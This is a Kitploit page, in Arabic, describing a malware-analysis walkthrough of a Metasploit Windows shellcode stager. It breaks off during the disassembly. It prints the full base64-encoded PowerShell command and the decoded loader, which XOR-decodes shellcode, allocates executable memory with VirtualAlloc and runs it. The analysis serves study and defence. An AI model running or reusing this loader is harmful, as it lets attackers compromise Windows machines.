Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
msf_shellcode_analysis — جولة تحليل ثابت لشيلكود Metasploit على ويندوز: فك ترميز حمولة PowerShell، تعتيم XOR، التنقل عبر PEB، وحل جدول عناوين التصدير. | Kitploit
أدوات/GitHubGitHub/yo-yo-yo-jbo/msf_shellcode_analysis
التحليل الثابتالهندسة العكسيةشيل كودتحليل البرمجيات الخبيثةتحليل الملفات الثنائيةالتعلم والتعليم
GitHubyo-yo-yo-jbo/msf_shellcode_analysis

msf_shellcode_analysis

جولة تحليل ثابت لشيلكود Metasploit على ويندوز: فك ترميز حمولة PowerShell، تعتيم XOR، التنقل عبر PEB، وحل جدول عناوين التصدير.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
283منذ شهر واحدتمت المراجعة من قبل Kitploit

التحليل الساكن لشيلكود Metasploit

في أول منشور مدونة، رأيت أنه سيكون من الجيد تحليل شيلكود Metasploit شائع - إنها فرصة رائعة لمناقشة مواضيع مثل الترميز، PEB، شيلكودات Windows وجداول عناوين التصدير.

البدء

نبدأ بسطر أوامر طويل تم اعتراضه:```powershell "powershell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAWABXADIALwBpAFMAQgBaACsARAByAC8AQwBEADUARQBBAFEAWQBpAE4AQwBZAEYAZQB0AFQAVAA0AGgAawAzAEEARQBHAHkAdQBtAFMAZwBxADcAQQBJAE0AdgB1AEIAeQBHAFQARABUAC8AZAAvAG4AMgBFAEEAbQB2AFoAMwBlAGIAVwBrAFgAeQBhAEsAcQBmAEsANwBmAHUAZABTAHgAZwBlAG0AZABRAFkAbABqADAAVgA1AGcAWQArAFoAdQBqAEUAbgBrAEIARAA1AFQAegBlAFYAdQBwAFUAQwBqAHoARgBmAG0AagAzAHgAdQBHAGYAcwBXAFQAWQAvAFQAeABkAHMASwAwADcAYwBkAEMAYQB3ADMAWgBOAHMARQBSAHgASAB6AFYAKwA1AG0AZwBBAGoAeQBtAE0ATAB0AEgAcABFADMATAA3AEIAagBGADUAZQBaAGIASgBNAFMAWQBqAHMAbQB1AEgAaAB6AGsANwB2AEoAagBtAEkALwBRAGsAdgA4ADUAaQBQAHEANwBQAEcAYgBoACsAawA2AHMAQwBOAFEAVgBIAGgAcAA3AFgAWgBTADQAQwBIAEgAZgAvADMAeQBSAFkAdwBKAHcAVAA0ADkANwB5AHQAdABUAEYAdABSAGgATAAyAEYANgArAEMAbwBVAEcAUwArAE0AWgBNADEASgB2AGkAdQB2ADkAaABnAGkAegBKAC8ATQBiAGQAdgBsAGIAWQBiAEwASgBCADcASQBVAHQARQBaAEsAMwBCAG8AWgBaAHYAcAArACsANgBnAFkAVgBTAEQAeQByAEcAegBuAFYAbwBJAGYALwBuAG4ALwBuAGkAeQB4ADMAMwBXAHAASABEAEcATABsAFIASQBXADgAawBFAGMAVgBlAHgAWABiAGQAZgBKAEgANQBYAGsAdwBWAG0AcwBrAE8ARgAvAEkAOQB4AHkASgBCAEYAQwB4AHAAWgBlAEwANABmAEwAVQB5AHkAcQB6AFgATQArAE4ANwBaADkAdgB6AHgAWQB0AG4AcQB4ADAAQwBQADMANwB0AFoAQwByADEAegBGAFAASQB3ADMASQBBADIATABUAE8ARwBPAGIATAB6AEUAdQBxADcAKwBYADEAbABmAG4AagAzAFoAcABoADcARgBQAEgAdwB4AFgATgBwADUAZwBFAE8AdwBPAFQAdgBXAFAAaABxAEsASQBpADMAMwBiAHgARQBDACsAQgBMAFIAOQBCACsAUAB4AFYAdgBnAGgARwBFAEUAeABqADQAagBOAFgAVwA0AEIAdgBIADIAeAB4ADQAZABhAFAAWABiAGMATQBjAGwAOQArAFYAKwA1AHIAUQBjAGUASABLADcAaQAvAHkAMQBUADQAeQBBAFIAVQBBADAAcQBLADUAVQB0AE8ALwBBADQAYwB2AFMAeAB2AHoAdQBMAEEAbgBaACsAcwAvADUAQgBjAFIAZgBqADkAbABHAEQARgAzAFAAZgBjAEoANgBsAHEAWQB4AGUAdgBFAE0AVgB2AEYAUABEADkAawBLAHUANQBtADUAdQBYAGIASQBuAEIAbgA4AEkAZwBpAEoAeQBNADcAeQB2AEQAbABwAGsAZQBHAEkARgBvAFEASgBJADAAbgBDAGEASgBjAGYASAAxAG4ALwBpAGMAMQBWADQANQBvAC8ASQB2AEIAWABGAFgAcgBnAHYAUABPAFQAeABuAE8ANwA0AHkATAArAFAAQQBzAFYAOQB6AE4AOABYAGMASgBYAHYAUwA4ADcAZABGADcATABnADIASgB1AG4ANwBYADEAZQBEAGgASgBlAE8AagA2AFgARQBSADUANQBqAFgAUgBPACsAOABGAG4ATQA4AE4ATABGAEcAUgA2AFYASwA1AGsATwBkAGgAYgB5AGwAeABmAFkAbABpADcAbwA1AEYATgBBAFgAMwA1AG0AawB6ADIASAB2AHYATQBLAFoAKwBOAGEARgBzAFEAOQBBAHEAcwBnAEoAWQBvAC8ARwBuAE8ATwBZAFMARwB2ACsAVAAzAHMAQQBYADcAbgBQAGEAVABwADcAUgBMAEsARABGACsAcABMADYAVwBWAFgATABXAG4AKwB6AFMAWABSAFIAZABGAFUAWgBrAFoAeABGAEQAbgBWAHAAawB4AE0ASABLAHgAWABXAFoAYQBmAHUAUgBjAFgAcgBWAGkARwBtAFQATAAvAEQALwBtADkAbQBLAFgATwBoAGEASwA2AEYAWABjAGEALwBFAFQAUwBDACsAcQB4AGMAQwBIAGkAbwBrAHQAaQBDADcAQQBZAEIAbwA3AGIARABuAEkAVABWAEUAcABNADYAcABqAFkAeQBFAHgAbgBOAFgAVgBoAFAAeQBuAG0ASQBqAEkAZABhAEgAawBRAE4ASQBlAFkAZwBJAG4ASwBSAFkARwBUAFgATwBHADIATwBWAC8AegA0ADkAaQB4AGMAQgBVADgAMwBZAHUAOQBvAEEANgA2ADAASwBLAGkAMQBiAFEAYwB5ADQAVgBsAGEAVQBiAFcAbQBFADcALwB4AC8ATQB2AHQAYgBKAHUAUwBoAFMAcgBLADQAZwBmAFQAQQBhAEUAcwBCAHcAQQAxAHAAbQB4AGcANgBoADAATgBmAHkANQBaADgAUwA3ADMAOAB6ADcAOABjAFcAOAA0AE8AWgBJAHMARwBYAFEAQgBhAHkAUQBuAHcAUgBFAHAAcQBXAFMAMABaAHAAcABaAGYATAAxADMAYwBzAE0AKwBRAEkAQgBkAFEAVQBFAG4AZwBDAGkAbgBDADkAWgBtAFIAdAByAEoARABuAEcAMwBHAG8ASgBiADMATgBjADUAMgAwADUAYgAyAGkAaABxAHAAcwB3AHIATwBIAGgAdwA4AFYAdQBkAHYAdABEAEgAZgBDAHMARwB2AEoAYwBYACsAZwBzAHAAMgBsADkAdAB5AFEAYQB2AEUAaAAxAG0ASgBUAFkASABtAEYAQgBiAHAAVAAyAEoAYQBYADIAcgA0AGYAegBMAGoAWQBxADMASAAyAFQAdAB2AHIAYwBCAFkAOQBoAG0AbwBrAGEAWAB1AHAAcABWAGIARABRAEsAbQB2AG4ATwBaAEYAegBwAG4ALwBlAFgASABnAEYAbABOAE4AZQBWAHkAMABsAFoAbwA2AGoAcABTAFUAWAB0AFgAMgBnAGgASwBLAHoAUQBEAFcAOQA5AHAAZQBEAEQAcgBBADEANgBqAHYAZgBPAEYAZwAxADcARABjAHEAZQBOAHAAMQB6AHIAdwB0AEkASABSADYAcABnADgAagBVAHMARwB5ADcAWABIAGkAZAA0AGQAeQB6AHYAZAA4AE8AMwB1AGcAbgB0AFcATwB2AHEAcABtAG8AQgBQADQASgBmAEIAcQAwAFAAVwBoAHMAYwA0AHUAdAB3AGsATQBLADEAbQBGAEsAcQBwAHYAMQBqAG8AaABwAGIAZgA2AFcAaABxAEoAegBFAGUAVgBvADYAVwA2AEEAZQBMAHAAVwB4AEkAVABpADQALwBtAEoAKwBTAHMAQQBIADgAZQBnADAAdwBPAFIAcABKAGIAMQBpAHIAMgAwAGQAcgBxAGgAeQBzAHEAZAA1AE4AMQBKAG4AZQBCAGgAMQBoAFAARgBuAFYAVgBMADAAYgBIAEYAcwBiAHIAVQA0AGsAdwA3AEIAUABoAG4AbgBrAEQARwA3AHUANwB0AEgAVQBhAHYAcQBIAFQATAA5AGgASAB3AC8AMgBLAE8AcAAzAFQARAByAGoAQgA4AGkAcgBKAFkAbABmAE4ANwBTAE4AZAB1AHgAYQBPAHoAcQBlAGQAdQBvAEUASgBlAEsAdQA2ACsAQwBGAHMASwBTAHAAMwBFADUAMwB2AHUAbwAwAFoAVgBqAEwAOQBNAGcAYQB4AGoAQwB4AFEAYQArAHIAbQB0AEkAVAA2AFAAWABGAFgAZwA5ADgAUQBBAC8ASwBiAEkAdgA1AHcAZABOAEUAUAAxAG0AOAAwAEwAVQBTAG8AbwBFAGYAZwA2AGUANgBBADcASQBiAHQATQBmAEQAdQBhAFIAMgBUAE8AegBKAG0ALwBWAGsAdwBYAGIAdgA1ADQANwBxAGoAbwBWAG8ANQBVADMAQgAxAHIAMwBDAEMAcQBqAFoAZgA4AFMAcwBsAGcAagBTAGIATwA2AGIAcABjADcAagBWAGoAZQA1AFcAVwAwAHAAegBzAGEAVwA0AE8AcwB6AGkAUwBUAHgANQBtAEIAVwBSADgAWQB6AEkAYQBFADQAOAA1AHQAMgBTAFYAcgAzAEgAUABOAFEANQBZAGoAcwBEAFoAUwBxAFcATABJADIAVQBwADgAZgBpAEgAcAAxAEoATQArAEgAawB0AGUAUgBoADEAdAB1ADIAbgA3AFcAWQAyAE0AcgBEAEUAMQBGADYAQQAzAEgAVgBuACsAbQBLAEcAagBFADIAYgAyAFoAcgA0AGUAUwBNAE4ASgBsAHAANwBiAFQANgBqAFMAYQArAEYANQBIADIAbABSAFgAdwBpAEgAdwB4AEoAcABMAEgAKwBlAGMAZABQAEsAawBSAGYAdQBoAFcAVwBWADcALwB0AHAAQgBhAHUAZwAxAGgAdwB2AFAAVgA3AGwAQgBzAGcANwBrAGIAYgBjACsAbgBvAHgASABiAHQAUwBVADEAcAB6AFgAdQBwAGYAbABoAGoAbwBYAEoAcQB2ADcASgBoAEcATgBoAEgAOABvAEwAVgBsAFIAbwBNAE8ASgB2AHkARwBHAGYASQBqAHEALwBuAHIAZQBxADYARgBtAGoAVABYAEcATQBlAEkAZQAyAGcAbwBWAGsAMQBEAFgANQB1AHQAawBMAFkALwBOAG0AUwBWAHQAYQBKAHUAcQA0ADYAUABxAEsAZQB6AGoAWQB5AGYAdQBxAEUASQBzADkAMABmAG0ASwB2AFQAawBiAGQAUQBZADcATABnAGgASwBkAFUANAAzADYAYgByAEoARQBtAFEAZABOAFQAWAB6ADkAUABKAG8AZQBGADEAVABuAFMARABxADAATABvADAAdABPAGoATQA5AHoAegBoAHQAdAByAGoAWQBpADQAdgBQAGMAcwBQAGgAUwByADcAUAAzADgAaABIAGgAVQBHAGsAcwBQAC8AaQBDAHUARwByAHYAVgBZAC8AMQBBAEoAeQAyADcAcABEAHkATAA5AG0ASABRADMAMQBDAEwANAAwAHYAeAAwAFQAUwBmAFAAZgBYAG8AMQBMAGYAVgBKAHYAZgBVADUATQBtADQAMABWAEkAcwBhAGIASwB4AEEAOQBPAGYAaQBOADYAdwB0AFYAWgB4AEQARABuADEANQBGAEUAYQBTAGEAZgBsAGcAbgBpAG8AUABtAG4AYwBEADQAUgBHAGUAMwAyAGEASgB0AHUAQgB5AGIAdAAwAC8AUABRAFEAYwBIADEALwBLAFoAcwBMAGQAcgBpADQAZAB6AHEAQgBGAEEAbAB6AGIAVwBNADAAKwA1AFAAVgBGAEgASgB4ADYAMgA0AGcAagAwACsAUQAwADEAMQA0AE4AaABvAC8ANwBPAEsAYQBmAFQAaABDAGoAawBXAGQASQBLADIAVgBqAGIAYgBmAEoAZABZAFQAawBXADAANQAyAHIAUgBnAGIANgBuAGoAYgBtADgAeABDAFEALwAyAHEAYgBxAEwAOQBlAGsARABXAG0AMgAxAFcASQBRAGEAWAA3AFIAeABTAGUAcQBHADkATgBIAGkAWgBUAG8AWgBiAGUAZABQADUAcQBpAGwAUAA4AHYASAB2AHMAWQAvACsAUAB5ADIAOQBqAFgAdABYAHMAdQBBAHcARAB4AHkAVABPAC8ANABmAHoASAB3AGYAKwBkAFMANQByADAALwBRAFYAZQBDAGgAcABlAGUAbAAwAHIARgBkAEUANQA0AGYALwBOAHkAZQAzAHkAOQB6AG4AWAB2ACsANwB2AEYARQBhAFQAeABEADIAbQB2AHkAOQA3AHMAMABZAGMATwA5ADYAdABoAHEAWQBkAEkAdABFAFkAdQBkAEQANABZAGUASwA3AFgAbABSAEkAUQA1AFQASwAyAEQAQQBJAG4ANQBTAGcAVQBQAHAAKwAwAHQANQBqADQAMgBJAFUAcABGAE8AYgBVAGEANQBOAHYAdQBXADUAZwBwAFkAUABXAEwAeQBZAGUARwBQAHYATwB3ADkAZwByAFgARwBZAGoAVwBQAEwAVgBUADEAZABGADUAcAAwAFEAcABxAHUAegBUADQAdAA0AHUAYwB5AEcAawBZAHUASAAxADUAbgBzAFMAdgBqAGwAeQB4AHoAYwBLADMAOABBAHMAWQB2ADkARgBWADIAWABHAGYAYgBJAHMAeQB5AGIALwB0AGYAWQBZAHUANwAzAFkAUgBHAEQAWABWAEoANABGADEAZABPAGgANwBFAFAAbABuAHoAVQA1AEcAYQBhAGkAaABmADAAUwBlAHgANwArAFAAOABZAGcAQgArAFUALwBuAGQAbwBVAC8AQwB5AGUAZQA0AGQAdQBzAHkAZwB6AC8ARQBxADUAdgBKAC8ANQBIAEwAYQBrAHYAbAB3AEgAagBrAG4AKwBGAHIAQgBJAGQAUABJAGMAaQArAGkAaQBOAEMANwBUAGIAQwBBAFQANQB2AHMAcgBpADcAYwBvAGkASwBqAHkAVgBQAG0ARgBqAEgAZgBtAFQAdAB3AHIAeABYAHgAVgBmAGkAKwBJAGEAcwA0AHYAYgBpAFoAOAArAGYAYQBOACsAYQBBAG4ARABQAGoATgAyAGEASQBMAFEAegBqADkAbAAwAG4AVwBFAEMAVwBZAHAAaQAvAFUAdABHAFoAawBKAFEAWQB6AHYANABHAHMAegBBAEwASgB2ADgATgBBAEEAQQA9ACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA

root@kitploit:~
هذا سطر أوامر PowerShell مشفر بتنسيق [base64](https://en.wikipedia.org/wiki/Base64) (يُشار إليه بواسطة الخيار `-encodedcommand`). عند فك التشفير، يبدو بهذا الشكل:```powershell
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("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"));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

ينفّذ هذا الحمولة فك ترميز base64 إضافي (للجزء الذي يبدأ بـ "H4sIA...") ويحفظه في دفق ذاكرة ($s). ثم يتعامل معه كدفق مضغوط (gzip)، يفك ضغطه وينفّذ المحتوى (باستخدام IEX). من السهل جدًا فك ضغطه - يمكنك استخدام PowerShell أو CyberChef أو حتى Python:```python import io, gzip, base64 x=b'H4sIAAAAAAAAAK1...' # Omitted print(gzip.GzipFile(fileobj=io.BytesIO(base64.b64decode(x[:]))).read().decode())

root@kitploit:~
يحتوي الإخراج على المزيد من أوامر PowerShell، وهذه المرة بمنطق أكثر تعقيدًا:```powershell
Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
        Param ($var_module, $var_procedure)
        $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
        $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
        return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
        Param (
                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
                [Parameter(Position = 1)] [Type] $var_return_type = [Void]
        )

        $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
        $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

        return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qrzl3PZzyq8jIyN4EvFxSyMR46dxcXFwcXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZlvaXc9nwS3HR0SdxwdUsOJTtY3Pam4yyn6SIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDHJTemEjhWb0L/ZiHlVBsgmXSSdvF0Ba9O7e0IyBDYZnT+J7kNT1Y4fCYVcBnNYDryujwT2USQrrqCYn9d+DhMiTw21rEmPF2C+cjDO3PCN2UEZRDmJERk1XGQNuSkBRTFBMRVcOYFFaU1dMYnNqDBUNEi4pI6tsWnmJDj2gBwomC4lt7Z1DzmDbG5920MnhiaHqm9RbmnH1PyhoEkL6VWVUls9Dh1mA/EE8HZBWg/9rCSy35+f0CBtRWnjrSEws6nhZM4a940SVua15GFtCyqNIZhyhEVTYcDjtGtHVxHmF077JuJHBuEOUTgqmEks8Pp1Rr+41ndthyyyaDxNhQXWw8mJztje2Bqltz7iRv3SlMAUrCf/mc3qC20/Zza3a+VD5nPu2Spg76wtWAd+FQCdwPOjtc13+uxTTQmHxi6k291K93rV8AFcDWjdoTnWCmRAhHeu1S1KmttsDzfbrma6W8/PB8GhzXykPT3ltVK5o1OnfETb0Rb/iJoDsBZIjS9OWgXXc9kljSyMzIyNLIyNjI3RLe4dwxtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3EtWUkZKTUANQExOI35n3k4=')

for ($x = 0; $x -lt $var_code.Count; $x++) {
        $var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@

If ([IntPtr]::size -eq 8) {
        start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
        IEX $DoIt
}

دعنا نفكك الأمر:

  • المتغير $DoIt يحتوي على معظم المنطق. يعرّف دالة باسم func_get_proc_address وهي مجرد غلاف لـ kernel32!GetProcAddress، ويستخدم دالة func_get_delegate_type للحصول على مفوض انعكاسي.
  • المتغير $var_code هو حمولة base64 أخرى (!) لكنها هذه المرة أقل وضوحًا - محاولة فك تشفيرها بسذاجة تنتج بيانات غير مفهومة.
  • يتم تطبيق عملية XOR على المتغير $var_code بايتًا بايت مع القيمة 35. وهذا يفسر بالفعل سبب عدم إعطاء فك التشفير أي سلاسل نصية، ولكن حتى بعد تطبيق XOR - لا يزال لا يبدو واعدًا بدون السياق الصحيح.
  • الأسطر التالية تخصص مخزنًا باستخدام دالة kernel32!VirtualAlloc. يتم استدعاؤها لتخصيص مخزن (محفوظ في $var_buffer) مع flAllocationType=0x3000 و flProtect=0x40. بالنظر إلى MSDN يتضح أن نوع التخصيص هو MEM_COMMIT | MEM_RESERVE وحماية الصفحة هي .

يخبرنا ذلك أن الحمولة المشفرة بـ base64 يجب التعامل معها على أنها shellcode 32-بت. دعنا نحللها تحليلًا ثابتًا مرة أخرى بتطبيق XOR وكتابتها إلى ملف ثنائي:```python import base64 x=b'38uqIyMjQ6rGEvFHqHE...' # Omitted open(r'/tmp/payload.bin', 'wb').write(bytes([ i^35 for i in base64.b64decode(x) ]))

root@kitploit:~
هنا تبدأ المتعة. يمكنك استخدام مفكك الشفرات المفضل لديك (IDA, Binary Ninja, إلخ).
حتى أن هناك بعض [المفككات عبر الإنترنت](https://shell-storm.org/online/Online-Assembler-and-Disassembler) الرائعة تحت تصرفك إذا كنت لا تهتم بـ opsec.
بداية الشيل كود تكون عند الإزاحة 0 ويجب التعامل مع الكود على أنه كود X86.

## التجول في PEB
يبدأ الكود بتعليمة CALL:```assembly
0x0000000000000000:  FC                         cld        
0x0000000000000001:  E8 89 00 00 00             call       0x8f

تعليمات cld تمسح علم الاتجاه (بحيث تتحرك عمليات السلاسل مثل movsb للأمام وليس للخلف)، ثم تنفذ استدعاءً نسبيًا إلى 0x8f. نظرًا لأن call يدفع التعليمات التالية إلى المكدس، نتذكر أن المكدس تم دفعه بالعنوان الموجود عند الإزاحة 6 في shellcode. لنفحص الكود عند الإزاحة 0x8f:```assembly 0x000000000000008f: 5D pop ebp 0x0000000000000090: 68 6E 65 74 00 push 0x74656e 0x0000000000000095: 68 77 69 6E 69 push 0x696e6977 0x000000000000009a: 54 push esp 0x000000000000009b: 68 4C 77 26 07 push 0x726774c 0x00000000000000a0: FF D5 call ebp

root@kitploit:~
إن استخدام `pop` فورًا لحفظ العنوان هو حيلة شائعة في كتابة الشيل كود (تسلسل `call-pop`). عمليات الدفع التالية مثيرة للاهتمام - تبدو للوهلة الأولى ثوابت غريبة، لكن فك ترميزها كسلاسل ANSI يكشف شيئًا مثيرًا:```python
import struct
struct.pack('<LL', 0x696e6977, 0x74656e)

